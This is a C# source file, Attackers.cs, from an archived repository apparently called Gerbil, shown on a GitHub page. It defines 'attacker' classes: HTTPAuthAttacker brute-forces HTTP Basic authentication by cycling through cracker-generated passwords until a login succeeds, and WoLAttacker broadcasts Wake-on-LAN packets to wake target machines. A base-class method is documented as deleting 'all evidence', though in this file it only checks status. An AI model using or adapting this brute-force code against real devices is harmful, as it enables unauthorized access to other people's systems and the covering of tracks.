This repository was archived by the owner on Feb 18, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathAttackers.cs
240 lines (230 loc) · 8.09 KB
/
Attackers.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net.Sockets;
using System.Globalization;
using System.Net;
using Gerbil;
namespace Gerbil
{
namespace Attackers
{
public enum AttackerResult
{
Created,
Initialized,
FailedAuth,
FailedConnection,
Trying,
Connected,
Penetrated
};
public class AttackerNotInitializedException : Exception
{
}
public class AttackerNoTargetFoundException : Exception
{
}
public class AttackerAttemptsExhaustedException : Exception
{
}
public class AttackerAlreadyPenetratedException : Exception
{
}
public partial class Attacker
{
protected AttackerResult attackerStatus;
/// <summary>
/// Constructor for Attacker class
/// </summary>
public Attacker()
{
attackerStatus = AttackerResult.Created;
}
/// <summary>
/// Performs initializing commands for attacker
/// </summary>
public virtual void init()
{
attackerStatus = AttackerResult.Initialized;
}
/// <summary>
/// Attacks the given client, will only attempt once
/// </summary>
public virtual AttackerResult stab()
{
return new AttackerResult();
}
/// <summary>
/// Deletes all evidence and closes connection to target
/// </summary>
public virtual void clean()
{
if (attackerStatus == AttackerResult.Created)
{
throw new AttackerNotInitializedException();
}
else if (attackerStatus == AttackerResult.FailedConnection)
{
throw new AttackerNoTargetFoundException();
}
}
}
public class HTTPAuthAttacker : Attacker
{
private string target;
private string foundPassword;
private PasswordServices.SimplePasswordCracker cracker;
public HTTPAuthAttacker(string targetURI, int maxCrackLength)
: base()
{
target = targetURI;
cracker = new PasswordServices.SimplePasswordCracker(maxCrackLength);
}
public override AttackerResult stab()
{
bool authSuccessful = false;
string password;
try
{
password = cracker.getNextKey();
}
catch (PasswordServices.PasswordTableExhaustedException e)
{
return AttackerResult.FailedAuth;
}
authSuccessful = httpLogin("http://" + target, "", password);
if (authSuccessful)
{
foundPassword = password;
return AttackerResult.Connected;
}
else
{
return AttackerResult.Trying;
}
}
public string getAccessString()
{
return foundPassword;
}
private bool httpLogin(string url, string username, string password)
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.Method = "GET";
request.UseDefaultCredentials = false;
request.PreAuthenticate = true;
request.UserAgent = "netscape11";
request.Credentials = new NetworkCredential(username, password);
request.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new ASCIIEncoding().GetBytes(username + ":" + password)));
// create request
HttpWebResponse response;
try
{
// get response
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException ex)
{
if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.Unauthorized)
{
return false;
}
else
{
// TODO: Add new specific exception here
throw new Exception();
}
}
bool isForbidden = false;
string rBody = new StreamReader(response.GetResponseStream()).ReadToEnd();
//string hBody = response.GetResponseHeader();
if (rBody.Contains("401"))
{
isForbidden = true;
}
//if (hBody.Contains("401"))
//{
// isForbidden = false;
//}
// verify response
if (response.StatusCode == HttpStatusCode.OK && !isForbidden)
{
return true;
}
else
{
return false;
}
}
}
public class WoLAttacker : Attacker
{
private string MACaddress;
public WoLAttacker(string MacAddr)
: base()
{
MACaddress = MacAddr;
}
public override AttackerResult stab()
{
//Send network adapter MAC address over UDP 16 times
// Prep input parameters
if (MACaddress.Contains(':'))
{
MACaddress = MACaddress.Replace(":", "");
}
///////////////////////////////////////////////////////////////////////
// Segments of code were copied from: //
// http://www.codeproject.com/Articles/5315/Wake-On-Lan-sample-for-C //
///////////////////////////////////////////////////////////////////////
WOLClass client = new WOLClass();
client.Connect(new
IPAddress(0xffffffff), //255.255.255.255 i.e broadcast
0x2fff); // port=12287 let's use this one
client.SetClientToBrodcastMode();
//set sending bites
int counter = 0;
//buffer to be send
byte[] bytes = new byte[1024]; // more than enough :-)
//first 6 bytes should be 0xFF
for (int y = 0; y < 6; y++)
bytes[counter++] = 0xFF;
//now repeate MAC 16 times
for (int y = 0; y < 16; y++)
{
int i = 0;
for (int z = 0; z < 6; z++)
{
bytes[counter++] =
byte.Parse(MACaddress.Substring(i, 2),
NumberStyles.HexNumber);
i += 2;
}
}
//now send wake up packet
int reterned_value = client.Send(bytes, 1024);
return attackerStatus;
}
//we derive our class from a standard one
private class WOLClass : UdpClient
{
public WOLClass()
: base()
{ }
//this is needed to send broadcast packet
public void SetClientToBrodcastMode()
{
if (this.Active)
this.Client.SetSocketOption(SocketOptionLevel.Socket,
SocketOptionName.Broadcast, 0);
}
}
//now use this class
//MAC_ADDRESS should look like '013FA049'
}
}
}